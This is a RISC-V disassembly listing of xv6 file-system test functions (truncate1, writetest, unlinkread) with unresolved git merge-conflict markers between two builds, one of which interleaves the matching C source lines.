>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
7a6: 4791 li a5,4
7a8: 0cf51e63 bne a0,a5,884 <truncate1+0x158>
7ac: 40100593 li a1,1025
7b0: 00005517 auipc a0,0x5
<<<<<<< HEAD
7b4: 66050513 addi a0,a0,1632 # 5e10 <l_free+0x3a8>
=======
7b4: 66050513 addi a0,a0,1632 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
7b8: 00005097 auipc ra,0x5
7bc: d54080e7 jalr -684(ra) # 550c <open>
7c0: 89aa mv s3,a0
7c2: 4581 li a1,0
7c4: 00005517 auipc a0,0x5
<<<<<<< HEAD
7c8: 64c50513 addi a0,a0,1612 # 5e10 <l_free+0x3a8>
=======
7c8: 64c50513 addi a0,a0,1612 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
7cc: 00005097 auipc ra,0x5
7d0: d40080e7 jalr -704(ra) # 550c <open>
7d4: 892a mv s2,a0
7d6: 02000613 li a2,32
7da: fa040593 addi a1,s0,-96
7de: 00005097 auipc ra,0x5
7e2: d06080e7 jalr -762(ra) # 54e4 <read>
7e6: 8a2a mv s4,a0
7e8: ed4d bnez a0,8a2 <truncate1+0x176>
7ea: 02000613 li a2,32
7ee: fa040593 addi a1,s0,-96
7f2: 8526 mv a0,s1
7f4: 00005097 auipc ra,0x5
7f8: cf0080e7 jalr -784(ra) # 54e4 <read>
7fc: 8a2a mv s4,a0
7fe: e971 bnez a0,8d2 <truncate1+0x1a6>
800: 4619 li a2,6
802: 00006597 auipc a1,0x6
<<<<<<< HEAD
806: 87658593 addi a1,a1,-1930 # 6078 <l_free+0x610>
80a: 854e mv a0,s3
80c: 00005097 auipc ra,0x5
810: ce0080e7 jalr -800(ra) # 54ec <write>
=======
806: 87658593 addi a1,a1,-1930 # 6078 <l_free+0x612>
80a: 854e mv a0,s3
80c: 00005097 auipc ra,0x5
810: ce0080e7 jalr -800(ra) # 54ec <write>
n = read(fd3, buf, sizeof(buf));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
814: 02000613 li a2,32
818: fa040593 addi a1,s0,-96
81c: 854a mv a0,s2
81e: 00005097 auipc ra,0x5
822: cc6080e7 jalr -826(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (n != 6) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
826: 4799 li a5,6
828: 0cf51d63 bne a0,a5,902 <truncate1+0x1d6>
82c: 02000613 li a2,32
830: fa040593 addi a1,s0,-96
834: 8526 mv a0,s1
836: 00005097 auipc ra,0x5
83a: cae080e7 jalr -850(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (n != 2) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
83e: 4789 li a5,2
840: 0ef51063 bne a0,a5,920 <truncate1+0x1f4>
844: 00005517 auipc a0,0x5
<<<<<<< HEAD
848: 5cc50513 addi a0,a0,1484 # 5e10 <l_free+0x3a8>
84c: 00005097 auipc ra,0x5
850: cd0080e7 jalr -816(ra) # 551c <unlink>
854: 854e mv a0,s3
856: 00005097 auipc ra,0x5
85a: c9e080e7 jalr -866(ra) # 54f4 <close>
85e: 8526 mv a0,s1
860: 00005097 auipc ra,0x5
864: c94080e7 jalr -876(ra) # 54f4 <close>
868: 854a mv a0,s2
86a: 00005097 auipc ra,0x5
86e: c8a080e7 jalr -886(ra) # 54f4 <close>
=======
848: 5cc50513 addi a0,a0,1484 # 5e10 <l_free+0x3aa>
84c: 00005097 auipc ra,0x5
850: cd0080e7 jalr -816(ra) # 551c <unlink>
close(fd1);
854: 854e mv a0,s3
856: 00005097 auipc ra,0x5
85a: c9e080e7 jalr -866(ra) # 54f4 <close>
close(fd2);
85e: 8526 mv a0,s1
860: 00005097 auipc ra,0x5
864: c94080e7 jalr -876(ra) # 54f4 <close>
close(fd3);
868: 854a mv a0,s2
86a: 00005097 auipc ra,0x5
86e: c8a080e7 jalr -886(ra) # 54f4 <close>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
872: 60e6 ld ra,88(sp)
874: 6446 ld s0,80(sp)
876: 64a6 ld s1,72(sp)
878: 6906 ld s2,64(sp)
87a: 79e2 ld s3,56(sp)
87c: 7a42 ld s4,48(sp)
87e: 7aa2 ld s5,40(sp)
880: 6125 addi sp,sp,96
882: 8082 ret
884: 862a mv a2,a0
886: 85d6 mv a1,s5
888: 00005517 auipc a0,0x5
<<<<<<< HEAD
88c: 79050513 addi a0,a0,1936 # 6018 <l_free+0x5b0>
890: 00005097 auipc ra,0x5
894: fb6080e7 jalr -74(ra) # 5846 <printf>
898: 4505 li a0,1
89a: 00005097 auipc ra,0x5
89e: c32080e7 jalr -974(ra) # 54cc <exit>
8a2: 85ca mv a1,s2
8a4: 00005517 auipc a0,0x5
8a8: 79450513 addi a0,a0,1940 # 6038 <l_free+0x5d0>
8ac: 00005097 auipc ra,0x5
8b0: f9a080e7 jalr -102(ra) # 5846 <printf>
8b4: 8652 mv a2,s4
8b6: 85d6 mv a1,s5
8b8: 00005517 auipc a0,0x5
8bc: 79050513 addi a0,a0,1936 # 6048 <l_free+0x5e0>
8c0: 00005097 auipc ra,0x5
8c4: f86080e7 jalr -122(ra) # 5846 <printf>
8c8: 4505 li a0,1
8ca: 00005097 auipc ra,0x5
8ce: c02080e7 jalr -1022(ra) # 54cc <exit>
8d2: 85a6 mv a1,s1
8d4: 00005517 auipc a0,0x5
8d8: 79450513 addi a0,a0,1940 # 6068 <l_free+0x600>
8dc: 00005097 auipc ra,0x5
8e0: f6a080e7 jalr -150(ra) # 5846 <printf>
8e4: 8652 mv a2,s4
8e6: 85d6 mv a1,s5
8e8: 00005517 auipc a0,0x5
8ec: 76050513 addi a0,a0,1888 # 6048 <l_free+0x5e0>
8f0: 00005097 auipc ra,0x5
8f4: f56080e7 jalr -170(ra) # 5846 <printf>
8f8: 4505 li a0,1
8fa: 00005097 auipc ra,0x5
8fe: bd2080e7 jalr -1070(ra) # 54cc <exit>
902: 862a mv a2,a0
904: 85d6 mv a1,s5
906: 00005517 auipc a0,0x5
90a: 77a50513 addi a0,a0,1914 # 6080 <l_free+0x618>
90e: 00005097 auipc ra,0x5
912: f38080e7 jalr -200(ra) # 5846 <printf>
916: 4505 li a0,1
918: 00005097 auipc ra,0x5
91c: bb4080e7 jalr -1100(ra) # 54cc <exit>
920: 862a mv a2,a0
922: 85d6 mv a1,s5
924: 00005517 auipc a0,0x5
928: 77c50513 addi a0,a0,1916 # 60a0 <l_free+0x638>
92c: 00005097 auipc ra,0x5
930: f1a080e7 jalr -230(ra) # 5846 <printf>
=======
88c: 79050513 addi a0,a0,1936 # 6018 <l_free+0x5b2>
890: 00005097 auipc ra,0x5
894: fb4080e7 jalr -76(ra) # 5844 <printf>
exit(1);
898: 4505 li a0,1
89a: 00005097 auipc ra,0x5
89e: c32080e7 jalr -974(ra) # 54cc <exit>
printf("aaa fd3=%d\n", fd3);
8a2: 85ca mv a1,s2
8a4: 00005517 auipc a0,0x5
8a8: 79450513 addi a0,a0,1940 # 6038 <l_free+0x5d2>
8ac: 00005097 auipc ra,0x5
8b0: f98080e7 jalr -104(ra) # 5844 <printf>
printf("%s: read %d bytes, wanted 0\n", s, n);
8b4: 8652 mv a2,s4
8b6: 85d6 mv a1,s5
8b8: 00005517 auipc a0,0x5
8bc: 79050513 addi a0,a0,1936 # 6048 <l_free+0x5e2>
8c0: 00005097 auipc ra,0x5
8c4: f84080e7 jalr -124(ra) # 5844 <printf>
exit(1);
8c8: 4505 li a0,1
8ca: 00005097 auipc ra,0x5
8ce: c02080e7 jalr -1022(ra) # 54cc <exit>
printf("bbb fd2=%d\n", fd2);
8d2: 85a6 mv a1,s1
8d4: 00005517 auipc a0,0x5
8d8: 79450513 addi a0,a0,1940 # 6068 <l_free+0x602>
8dc: 00005097 auipc ra,0x5
8e0: f68080e7 jalr -152(ra) # 5844 <printf>
printf("%s: read %d bytes, wanted 0\n", s, n);
8e4: 8652 mv a2,s4
8e6: 85d6 mv a1,s5
8e8: 00005517 auipc a0,0x5
8ec: 76050513 addi a0,a0,1888 # 6048 <l_free+0x5e2>
8f0: 00005097 auipc ra,0x5
8f4: f54080e7 jalr -172(ra) # 5844 <printf>
exit(1);
8f8: 4505 li a0,1
8fa: 00005097 auipc ra,0x5
8fe: bd2080e7 jalr -1070(ra) # 54cc <exit>
printf("%s: read %d bytes, wanted 6\n", s, n);
902: 862a mv a2,a0
904: 85d6 mv a1,s5
906: 00005517 auipc a0,0x5
90a: 77a50513 addi a0,a0,1914 # 6080 <l_free+0x61a>
90e: 00005097 auipc ra,0x5
912: f36080e7 jalr -202(ra) # 5844 <printf>
exit(1);
916: 4505 li a0,1
918: 00005097 auipc ra,0x5
91c: bb4080e7 jalr -1100(ra) # 54cc <exit>
printf("%s: read %d bytes, wanted 2\n", s, n);
920: 862a mv a2,a0
922: 85d6 mv a1,s5
924: 00005517 auipc a0,0x5
928: 77c50513 addi a0,a0,1916 # 60a0 <l_free+0x63a>
92c: 00005097 auipc ra,0x5
930: f18080e7 jalr -232(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
934: 4505 li a0,1
936: 00005097 auipc ra,0x5
93a: b96080e7 jalr -1130(ra) # 54cc <exit>
000000000000093e <writetest>:
93e: 7139 addi sp,sp,-64
940: fc06 sd ra,56(sp)
942: f822 sd s0,48(sp)
944: f426 sd s1,40(sp)
946: f04a sd s2,32(sp)
948: ec4e sd s3,24(sp)
94a: e852 sd s4,16(sp)
94c: e456 sd s5,8(sp)
94e: e05a sd s6,0(sp)
950: 0080 addi s0,sp,64
952: 8b2a mv s6,a0
954: 20200593 li a1,514
958: 00005517 auipc a0,0x5
<<<<<<< HEAD
95c: 76850513 addi a0,a0,1896 # 60c0 <l_free+0x658>
960: 00005097 auipc ra,0x5
964: bac080e7 jalr -1108(ra) # 550c <open>
=======
95c: 76850513 addi a0,a0,1896 # 60c0 <l_free+0x65a>
960: 00005097 auipc ra,0x5
964: bac080e7 jalr -1108(ra) # 550c <open>
if (fd < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
968: 0a054d63 bltz a0,a22 <writetest+0xe4>
96c: 892a mv s2,a0
96e: 4481 li s1,0
970: 00005997 auipc s3,0x5
<<<<<<< HEAD
974: 77898993 addi s3,s3,1912 # 60e8 <l_free+0x680>
978: 00005a97 auipc s5,0x5
97c: 7a8a8a93 addi s5,s5,1960 # 6120 <l_free+0x6b8>
=======
974: 77898993 addi s3,s3,1912 # 60e8 <l_free+0x682>
if (write(fd, "bbbbbbbbbb", SZ) != SZ) {
978: 00005a97 auipc s5,0x5
97c: 7a8a8a93 addi s5,s5,1960 # 6120 <l_free+0x6ba>
for (i = 0; i < N; i++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
980: 06400a13 li s4,100
984: 4629 li a2,10
986: 85ce mv a1,s3
988: 854a mv a0,s2
98a: 00005097 auipc ra,0x5
98e: b62080e7 jalr -1182(ra) # 54ec <write>
992: 47a9 li a5,10
994: 0af51563 bne a0,a5,a3e <writetest+0x100>
998: 4629 li a2,10
99a: 85d6 mv a1,s5
99c: 854a mv a0,s2
99e: 00005097 auipc ra,0x5
9a2: b4e080e7 jalr -1202(ra) # 54ec <write>
9a6: 47a9 li a5,10
9a8: 0af51963 bne a0,a5,a5a <writetest+0x11c>
9ac: 2485 addiw s1,s1,1
9ae: fd449be3 bne s1,s4,984 <writetest+0x46>
9b2: 854a mv a0,s2
9b4: 00005097 auipc ra,0x5
9b8: b40080e7 jalr -1216(ra) # 54f4 <close>
<<<<<<< HEAD
9bc: 4581 li a1,0
9be: 00005517 auipc a0,0x5
9c2: 70250513 addi a0,a0,1794 # 60c0 <l_free+0x658>
=======
fd = open("small", O_RDONLY);
9bc: 4581 li a1,0
9be: 00005517 auipc a0,0x5
9c2: 70250513 addi a0,a0,1794 # 60c0 <l_free+0x65a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
9c6: 00005097 auipc ra,0x5
9ca: b46080e7 jalr -1210(ra) # 550c <open>
9ce: 84aa mv s1,a0
9d0: 0a054363 bltz a0,a76 <writetest+0x138>
9d4: 7d000613 li a2,2000
9d8: 0000b597 auipc a1,0xb
9dc: 03858593 addi a1,a1,56 # ba10 <buf>
9e0: 00005097 auipc ra,0x5
9e4: b04080e7 jalr -1276(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (i != N * SZ * 2) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
9e8: 7d000793 li a5,2000
9ec: 0af51363 bne a0,a5,a92 <writetest+0x154>
9f0: 8526 mv a0,s1
9f2: 00005097 auipc ra,0x5
9f6: b02080e7 jalr -1278(ra) # 54f4 <close>
<<<<<<< HEAD
9fa: 00005517 auipc a0,0x5
9fe: 6c650513 addi a0,a0,1734 # 60c0 <l_free+0x658>
=======
if (unlink("small") < 0) {
9fa: 00005517 auipc a0,0x5
9fe: 6c650513 addi a0,a0,1734 # 60c0 <l_free+0x65a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
a02: 00005097 auipc ra,0x5
a06: b1a080e7 jalr -1254(ra) # 551c <unlink>
a0a: 0a054263 bltz a0,aae <writetest+0x170>
a0e: 70e2 ld ra,56(sp)
a10: 7442 ld s0,48(sp)
a12: 74a2 ld s1,40(sp)
a14: 7902 ld s2,32(sp)
a16: 69e2 ld s3,24(sp)
a18: 6a42 ld s4,16(sp)
a1a: 6aa2 ld s5,8(sp)
a1c: 6b02 ld s6,0(sp)
a1e: 6121 addi sp,sp,64
a20: 8082 ret
a22: 85da mv a1,s6
a24: 00005517 auipc a0,0x5
<<<<<<< HEAD
a28: 6a450513 addi a0,a0,1700 # 60c8 <l_free+0x660>
a2c: 00005097 auipc ra,0x5
a30: e1a080e7 jalr -486(ra) # 5846 <printf>
a34: 4505 li a0,1
a36: 00005097 auipc ra,0x5
a3a: a96080e7 jalr -1386(ra) # 54cc <exit>
a3e: 85a6 mv a1,s1
a40: 00005517 auipc a0,0x5
a44: 6b850513 addi a0,a0,1720 # 60f8 <l_free+0x690>
a48: 00005097 auipc ra,0x5
a4c: dfe080e7 jalr -514(ra) # 5846 <printf>
a50: 4505 li a0,1
a52: 00005097 auipc ra,0x5
a56: a7a080e7 jalr -1414(ra) # 54cc <exit>
a5a: 85a6 mv a1,s1
a5c: 00005517 auipc a0,0x5
a60: 6d450513 addi a0,a0,1748 # 6130 <l_free+0x6c8>
a64: 00005097 auipc ra,0x5
a68: de2080e7 jalr -542(ra) # 5846 <printf>
a6c: 4505 li a0,1
a6e: 00005097 auipc ra,0x5
a72: a5e080e7 jalr -1442(ra) # 54cc <exit>
a76: 85da mv a1,s6
a78: 00005517 auipc a0,0x5
a7c: 6e050513 addi a0,a0,1760 # 6158 <l_free+0x6f0>
a80: 00005097 auipc ra,0x5
a84: dc6080e7 jalr -570(ra) # 5846 <printf>
a88: 4505 li a0,1
a8a: 00005097 auipc ra,0x5
a8e: a42080e7 jalr -1470(ra) # 54cc <exit>
a92: 85da mv a1,s6
a94: 00005517 auipc a0,0x5
a98: 6e450513 addi a0,a0,1764 # 6178 <l_free+0x710>
a9c: 00005097 auipc ra,0x5
aa0: daa080e7 jalr -598(ra) # 5846 <printf>
aa4: 4505 li a0,1
aa6: 00005097 auipc ra,0x5
aaa: a26080e7 jalr -1498(ra) # 54cc <exit>
aae: 85da mv a1,s6
ab0: 00005517 auipc a0,0x5
ab4: 6e050513 addi a0,a0,1760 # 6190 <l_free+0x728>
ab8: 00005097 auipc ra,0x5
abc: d8e080e7 jalr -626(ra) # 5846 <printf>
=======
a28: 6a450513 addi a0,a0,1700 # 60c8 <l_free+0x662>
a2c: 00005097 auipc ra,0x5
a30: e18080e7 jalr -488(ra) # 5844 <printf>
exit(1);
a34: 4505 li a0,1
a36: 00005097 auipc ra,0x5
a3a: a96080e7 jalr -1386(ra) # 54cc <exit>
printf("%s: error: write aa %d new file failed\n", i);
a3e: 85a6 mv a1,s1
a40: 00005517 auipc a0,0x5
a44: 6b850513 addi a0,a0,1720 # 60f8 <l_free+0x692>
a48: 00005097 auipc ra,0x5
a4c: dfc080e7 jalr -516(ra) # 5844 <printf>
exit(1);
a50: 4505 li a0,1
a52: 00005097 auipc ra,0x5
a56: a7a080e7 jalr -1414(ra) # 54cc <exit>
printf("%s: error: write bb %d new file failed\n", i);
a5a: 85a6 mv a1,s1
a5c: 00005517 auipc a0,0x5
a60: 6d450513 addi a0,a0,1748 # 6130 <l_free+0x6ca>
a64: 00005097 auipc ra,0x5
a68: de0080e7 jalr -544(ra) # 5844 <printf>
exit(1);
a6c: 4505 li a0,1
a6e: 00005097 auipc ra,0x5
a72: a5e080e7 jalr -1442(ra) # 54cc <exit>
printf("%s: error: open small failed!\n", s);
a76: 85da mv a1,s6
a78: 00005517 auipc a0,0x5
a7c: 6e050513 addi a0,a0,1760 # 6158 <l_free+0x6f2>
a80: 00005097 auipc ra,0x5
a84: dc4080e7 jalr -572(ra) # 5844 <printf>
exit(1);
a88: 4505 li a0,1
a8a: 00005097 auipc ra,0x5
a8e: a42080e7 jalr -1470(ra) # 54cc <exit>
printf("%s: read failed\n", s);
a92: 85da mv a1,s6
a94: 00005517 auipc a0,0x5
a98: 6e450513 addi a0,a0,1764 # 6178 <l_free+0x712>
a9c: 00005097 auipc ra,0x5
aa0: da8080e7 jalr -600(ra) # 5844 <printf>
exit(1);
aa4: 4505 li a0,1
aa6: 00005097 auipc ra,0x5
aaa: a26080e7 jalr -1498(ra) # 54cc <exit>
printf("%s: unlink small failed\n", s);
aae: 85da mv a1,s6
ab0: 00005517 auipc a0,0x5
ab4: 6e050513 addi a0,a0,1760 # 6190 <l_free+0x72a>
ab8: 00005097 auipc ra,0x5
abc: d8c080e7 jalr -628(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
ac0: 4505 li a0,1
ac2: 00005097 auipc ra,0x5
ac6: a0a080e7 jalr -1526(ra) # 54cc <exit>
0000000000000aca <unlinkread>:
<<<<<<< HEAD
=======
void unlinkread(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
aca: 7179 addi sp,sp,-48
acc: f406 sd ra,40(sp)
ace: f022 sd s0,32(sp)
ad0: ec26 sd s1,24(sp)
ad2: e84a sd s2,16(sp)
ad4: e44e sd s3,8(sp)
ad6: 1800 addi s0,sp,48
ad8: 89aa mv s3,a0
<<<<<<< HEAD
ada: 20200593 li a1,514
ade: 00005517 auipc a0,0x5
ae2: 0fa50513 addi a0,a0,250 # 5bd8 <l_free+0x170>
ae6: 00005097 auipc ra,0x5
aea: a26080e7 jalr -1498(ra) # 550c <open>
aee: 0e054563 bltz a0,bd8 <unlinkread+0x10e>
af2: 84aa mv s1,a0
af4: 4615 li a2,5
af6: 00005597 auipc a1,0x5
afa: 6da58593 addi a1,a1,1754 # 61d0 <l_free+0x768>
afe: 00005097 auipc ra,0x5
b02: 9ee080e7 jalr -1554(ra) # 54ec <write>
b06: 8526 mv a0,s1
b08: 00005097 auipc ra,0x5
b0c: 9ec080e7 jalr -1556(ra) # 54f4 <close>
b10: 4589 li a1,2
b12: 00005517 auipc a0,0x5
b16: 0c650513 addi a0,a0,198 # 5bd8 <l_free+0x170>
b1a: 00005097 auipc ra,0x5
b1e: 9f2080e7 jalr -1550(ra) # 550c <open>
b22: 84aa mv s1,a0
b24: 0c054863 bltz a0,bf4 <unlinkread+0x12a>
b28: 00005517 auipc a0,0x5
b2c: 0b050513 addi a0,a0,176 # 5bd8 <l_free+0x170>
b30: 00005097 auipc ra,0x5
b34: 9ec080e7 jalr -1556(ra) # 551c <unlink>
b38: ed61 bnez a0,c10 <unlinkread+0x146>
b3a: 20200593 li a1,514
b3e: 00005517 auipc a0,0x5
b42: 09a50513 addi a0,a0,154 # 5bd8 <l_free+0x170>
b46: 00005097 auipc ra,0x5
b4a: 9c6080e7 jalr -1594(ra) # 550c <open>
b4e: 892a mv s2,a0
b50: 460d li a2,3
b52: 00005597 auipc a1,0x5
b56: 6c658593 addi a1,a1,1734 # 6218 <l_free+0x7b0>
b5a: 00005097 auipc ra,0x5
b5e: 992080e7 jalr -1646(ra) # 54ec <write>
b62: 854a mv a0,s2
b64: 00005097 auipc ra,0x5
b68: 990080e7 jalr -1648(ra) # 54f4 <close>
b6c: 660d lui a2,0x3
b6e: 0000b597 auipc a1,0xb
b72: ea258593 addi a1,a1,-350 # ba10 <buf>
=======
fd = open("unlinkread", O_CREATE | O_RDWR);
ada: 20200593 li a1,514
ade: 00005517 auipc a0,0x5
ae2: 0fa50513 addi a0,a0,250 # 5bd8 <l_free+0x172>
ae6: 00005097 auipc ra,0x5
aea: a26080e7 jalr -1498(ra) # 550c <open>
if (fd < 0) {
aee: 0e054563 bltz a0,bd8 <unlinkread+0x10e>
af2: 84aa mv s1,a0
write(fd, "hello", SZ);
af4: 4615 li a2,5
af6: 00005597 auipc a1,0x5
afa: 6da58593 addi a1,a1,1754 # 61d0 <l_free+0x76a>
afe: 00005097 auipc ra,0x5
b02: 9ee080e7 jalr -1554(ra) # 54ec <write>
close(fd);
b06: 8526 mv a0,s1
b08: 00005097 auipc ra,0x5
b0c: 9ec080e7 jalr -1556(ra) # 54f4 <close>
fd = open("unlinkread", O_RDWR);
b10: 4589 li a1,2
b12: 00005517 auipc a0,0x5
b16: 0c650513 addi a0,a0,198 # 5bd8 <l_free+0x172>
b1a: 00005097 auipc ra,0x5
b1e: 9f2080e7 jalr -1550(ra) # 550c <open>
b22: 84aa mv s1,a0
if (fd < 0) {
b24: 0c054863 bltz a0,bf4 <unlinkread+0x12a>
if (unlink("unlinkread") != 0) {
b28: 00005517 auipc a0,0x5
b2c: 0b050513 addi a0,a0,176 # 5bd8 <l_free+0x172>
b30: 00005097 auipc ra,0x5
b34: 9ec080e7 jalr -1556(ra) # 551c <unlink>
b38: ed61 bnez a0,c10 <unlinkread+0x146>
fd1 = open("unlinkread", O_CREATE | O_RDWR);
b3a: 20200593 li a1,514
b3e: 00005517 auipc a0,0x5
b42: 09a50513 addi a0,a0,154 # 5bd8 <l_free+0x172>
b46: 00005097 auipc ra,0x5
b4a: 9c6080e7 jalr -1594(ra) # 550c <open>
b4e: 892a mv s2,a0
write(fd1, "yyy", 3);
b50: 460d li a2,3
b52: 00005597 auipc a1,0x5
b56: 6c658593 addi a1,a1,1734 # 6218 <l_free+0x7b2>
b5a: 00005097 auipc ra,0x5
b5e: 992080e7 jalr -1646(ra) # 54ec <write>
close(fd1);
b62: 854a mv a0,s2
b64: 00005097 auipc ra,0x5
b68: 990080e7 jalr -1648(ra) # 54f4 <close>
if (read(fd, buf, sizeof(buf)) != SZ) {
b6c: 660d lui a2,0x3
b6e: 0000b597 auipc a1,0xb
b72: e4a58593 addi a1,a1,-438 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
b76: 8526 mv a0,s1
b78: 00005097 auipc ra,0x5
b7c: 96c080e7 jalr -1684(ra) # 54e4 <read>
b80: 4795 li a5,5
b82: 0af51563 bne a0,a5,c2c <unlinkread+0x162>
<<<<<<< HEAD
b86: 0000b717 auipc a4,0xb
b8a: e8a74703 lbu a4,-374(a4) # ba10 <buf>
b8e: 06800793 li a5,104
b92: 0af71b63 bne a4,a5,c48 <unlinkread+0x17e>
b96: 4629 li a2,10
b98: 0000b597 auipc a1,0xb
b9c: e7858593 addi a1,a1,-392 # ba10 <buf>
=======
if (buf[0] != 'h') {
b86: 0000b717 auipc a4,0xb
b8a: e3274703 lbu a4,-462(a4) # b9b8 <buf>
b8e: 06800793 li a5,104
b92: 0af71b63 bne a4,a5,c48 <unlinkread+0x17e>
if (write(fd, buf, 10) != 10) {
b96: 4629 li a2,10
b98: 0000b597 auipc a1,0xb
b9c: e2058593 addi a1,a1,-480 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
ba0: 8526 mv a0,s1
ba2: 00005097 auipc ra,0x5
ba6: 94a080e7 jalr -1718(ra) # 54ec <write>
baa: 47a9 li a5,10
bac: 0af51c63 bne a0,a5,c64 <unlinkread+0x19a>
<<<<<<< HEAD
bb0: 8526 mv a0,s1
bb2: 00005097 auipc ra,0x5
bb6: 942080e7 jalr -1726(ra) # 54f4 <close>
bba: 00005517 auipc a0,0x5
bbe: 01e50513 addi a0,a0,30 # 5bd8 <l_free+0x170>
bc2: 00005097 auipc ra,0x5
bc6: 95a080e7 jalr -1702(ra) # 551c <unlink>
=======
close(fd);
bb0: 8526 mv a0,s1
bb2: 00005097 auipc ra,0x5
bb6: 942080e7 jalr -1726(ra) # 54f4 <close>
unlink("unlinkread");
bba: 00005517 auipc a0,0x5
bbe: 01e50513 addi a0,a0,30 # 5bd8 <l_free+0x172>
bc2: 00005097 auipc ra,0x5
bc6: 95a080e7 jalr -1702(ra) # 551c <unlink>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
bca: 70a2 ld ra,40(sp)
bcc: 7402 ld s0,32(sp)
bce: 64e2 ld s1,24(sp)
bd0: 6942 ld s2,16(sp)
bd2: 69a2 ld s3,8(sp)
bd4: 6145 addi sp,sp,48
bd6: 8082 ret
<<<<<<< HEAD
bd8: 85ce mv a1,s3
bda: 00005517 auipc a0,0x5
bde: 5d650513 addi a0,a0,1494 # 61b0 <l_free+0x748>
be2: 00005097 auipc ra,0x5
be6: c64080e7 jalr -924(ra) # 5846 <printf>
bea: 4505 li a0,1
bec: 00005097 auipc ra,0x5
bf0: 8e0080e7 jalr -1824(ra) # 54cc <exit>
bf4: 85ce mv a1,s3
bf6: 00005517 auipc a0,0x5
bfa: 5e250513 addi a0,a0,1506 # 61d8 <l_free+0x770>
bfe: 00005097 auipc ra,0x5
c02: c48080e7 jalr -952(ra) # 5846 <printf>
c06: 4505 li a0,1
c08: 00005097 auipc ra,0x5
c0c: 8c4080e7 jalr -1852(ra) # 54cc <exit>
c10: 85ce mv a1,s3
c12: 00005517 auipc a0,0x5
c16: 5e650513 addi a0,a0,1510 # 61f8 <l_free+0x790>
c1a: 00005097 auipc ra,0x5
c1e: c2c080e7 jalr -980(ra) # 5846 <printf>
c22: 4505 li a0,1
c24: 00005097 auipc ra,0x5
c28: 8a8080e7 jalr -1880(ra) # 54cc <exit>
c2c: 85ce mv a1,s3
c2e: 00005517 auipc a0,0x5
c32: 5f250513 addi a0,a0,1522 # 6220 <l_free+0x7b8>
c36: 00005097 auipc ra,0x5
c3a: c10080e7 jalr -1008(ra) # 5846 <printf>
c3e: 4505 li a0,1
c40: 00005097 auipc ra,0x5
c44: 88c080e7 jalr -1908(ra) # 54cc <exit>
c48: 85ce mv a1,s3
c4a: 00005517 auipc a0,0x5
c4e: 5f650513 addi a0,a0,1526 # 6240 <l_free+0x7d8>
c52: 00005097 auipc ra,0x5
c56: bf4080e7 jalr -1036(ra) # 5846 <printf>
c5a: 4505 li a0,1
c5c: 00005097 auipc ra,0x5
c60: 870080e7 jalr -1936(ra) # 54cc <exit>
c64: 85ce mv a1,s3
c66: 00005517 auipc a0,0x5
c6a: 5fa50513 addi a0,a0,1530 # 6260 <l_free+0x7f8>
c6e: 00005097 auipc ra,0x5
c72: bd8080e7 jalr -1064(ra) # 5846 <printf>
=======
printf("%s: create unlinkread failed\n", s);
bd8: 85ce mv a1,s3
bda: 00005517 auipc a0,0x5
bde: 5d650513 addi a0,a0,1494 # 61b0 <l_free+0x74a>
be2: 00005097 auipc ra,0x5
be6: c62080e7 jalr -926(ra) # 5844 <printf>
exit(1);
bea: 4505 li a0,1
bec: 00005097 auipc ra,0x5
bf0: 8e0080e7 jalr -1824(ra) # 54cc <exit>
printf("%s: open unlinkread failed\n", s);
bf4: 85ce mv a1,s3
bf6: 00005517 auipc a0,0x5
bfa: 5e250513 addi a0,a0,1506 # 61d8 <l_free+0x772>
bfe: 00005097 auipc ra,0x5
c02: c46080e7 jalr -954(ra) # 5844 <printf>
exit(1);
c06: 4505 li a0,1
c08: 00005097 auipc ra,0x5
c0c: 8c4080e7 jalr -1852(ra) # 54cc <exit>
printf("%s: unlink unlinkread failed\n", s);
c10: 85ce mv a1,s3
c12: 00005517 auipc a0,0x5
c16: 5e650513 addi a0,a0,1510 # 61f8 <l_free+0x792>
c1a: 00005097 auipc ra,0x5
c1e: c2a080e7 jalr -982(ra) # 5844 <printf>
exit(1);
c22: 4505 li a0,1
c24: 00005097 auipc ra,0x5
c28: 8a8080e7 jalr -1880(ra) # 54cc <exit>
printf("%s: unlinkread read failed", s);
c2c: 85ce mv a1,s3
c2e: 00005517 auipc a0,0x5
c32: 5f250513 addi a0,a0,1522 # 6220 <l_free+0x7ba>
c36: 00005097 auipc ra,0x5
c3a: c0e080e7 jalr -1010(ra) # 5844 <printf>
exit(1);
c3e: 4505 li a0,1
c40: 00005097 auipc ra,0x5
c44: 88c080e7 jalr -1908(ra) # 54cc <exit>
printf("%s: unlinkread wrong data\n", s);
c48: 85ce mv a1,s3
c4a: 00005517 auipc a0,0x5
c4e: 5f650513 addi a0,a0,1526 # 6240 <l_free+0x7da>
c52: 00005097 auipc ra,0x5
c56: bf2080e7 jalr -1038(ra) # 5844 <printf>
exit(1);
c5a: 4505 li a0,1
c5c: 00005097 auipc ra,0x5
c60: 870080e7 jalr -1936(ra) # 54cc <exit>
printf("%s: unlinkread write failed\n", s);
c64: 85ce mv a1,s3
c66: 00005517 auipc a0,0x5
c6a: 5fa50513 addi a0,a0,1530 # 6260 <l_free+0x7fa>
c6e: 00005097 auipc ra,0x5
